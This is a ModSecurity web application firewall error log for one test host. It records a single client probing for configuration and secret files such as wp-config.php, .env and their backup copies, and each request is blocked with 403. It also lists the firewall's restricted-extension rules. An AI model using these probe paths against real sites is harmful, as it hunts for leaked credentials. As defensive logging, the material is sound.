[Sun Jun 29 20:19:55.666983 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/site.conf&quot;] [unique_id &quot;aGGDy3N4YZunzJSJCzJ6bAAAAAY&quot;]
[Sun Jun 29 20:19:55.687125 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/site.sql&quot;] [unique_id &quot;aGGDy3N4YZunzJSJCzJ6bQAAAAY&quot;]
[Sun Jun 29 20:19:55.687492 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/site.sql&quot;] [unique_id &quot;aGGDy3N4YZunzJSJCzJ6bQAAAAY&quot;]
[Sun Jun 29 20:19:55.687672 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/site.sql&quot;] [unique_id &quot;aGGDy3N4YZunzJSJCzJ6bQAAAAY&quot;]
[Sun Jun 29 20:20:00.424680 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /config/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6cQAAAAY&quot;]
[Sun Jun 29 20:20:00.424941 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6cQAAAAY&quot;]
[Sun Jun 29 20:20:00.425125 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6cQAAAAY&quot;]
[Sun Jun 29 20:20:00.445214 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php.old&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6cgAAAAY&quot;]
[Sun Jun 29 20:20:00.445373 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /config/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php.old&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6cgAAAAY&quot;]
[Sun Jun 29 20:20:00.445591 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php.old&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6cgAAAAY&quot;]
[Sun Jun 29 20:20:00.445766 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php.old&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6cgAAAAY&quot;]
[Sun Jun 29 20:20:00.635537 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6ewAAAAY&quot;]
[Sun Jun 29 20:20:00.635780 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6ewAAAAY&quot;]
[Sun Jun 29 20:20:00.635952 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6ewAAAAY&quot;]
[Sun Jun 29 20:20:00.710317 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6fAAAAAY&quot;]
[Sun Jun 29 20:20:00.710493 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6fAAAAAY&quot;]
[Sun Jun 29 20:20:00.710782 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6fAAAAAY&quot;]
[Sun Jun 29 20:20:00.710968 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6fAAAAAY&quot;]
[Sun Jun 29 20:20:00.734317 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.local&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6fQAAAAY&quot;]
[Sun Jun 29 20:20:00.734626 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.local&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6fQAAAAY&quot;]
[Sun Jun 29 20:20:00.734810 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.local&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6fQAAAAY&quot;]
[Sun Jun 29 20:20:00.780799 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6fgAAAAY&quot;]
[Sun Jun 29 20:20:00.780958 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6fgAAAAY&quot;]
[Sun Jun 29 20:20:00.781189 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6fgAAAAY&quot;]
[Sun Jun 29 20:20:00.781376 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aGGD0HN4YZunzJSJCzJ6fgAAAAY&quot;]
[Sun Jun 29 20:20:05.198768 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aGGD1XN4YZunzJSJCzJ6fwAAAAY&quot;]
[Sun Jun 29 20:20:05.199020 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aGGD1XN4YZunzJSJCzJ6fwAAAAY&quot;]
[Sun Jun 29 20:20:05.199227 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aGGD1XN4YZunzJSJCzJ6fwAAAAY&quot;]
[Sun Jun 29 20:20:10.089960 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env~&quot;] [unique_id &quot;aGGD2nN4YZunzJSJCzJ6gAAAAAY&quot;]
[Sun Jun 29 20:20:10.090234 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env~&quot;] [unique_id &quot;aGGD2nN4YZunzJSJCzJ6gAAAAAY&quot;]
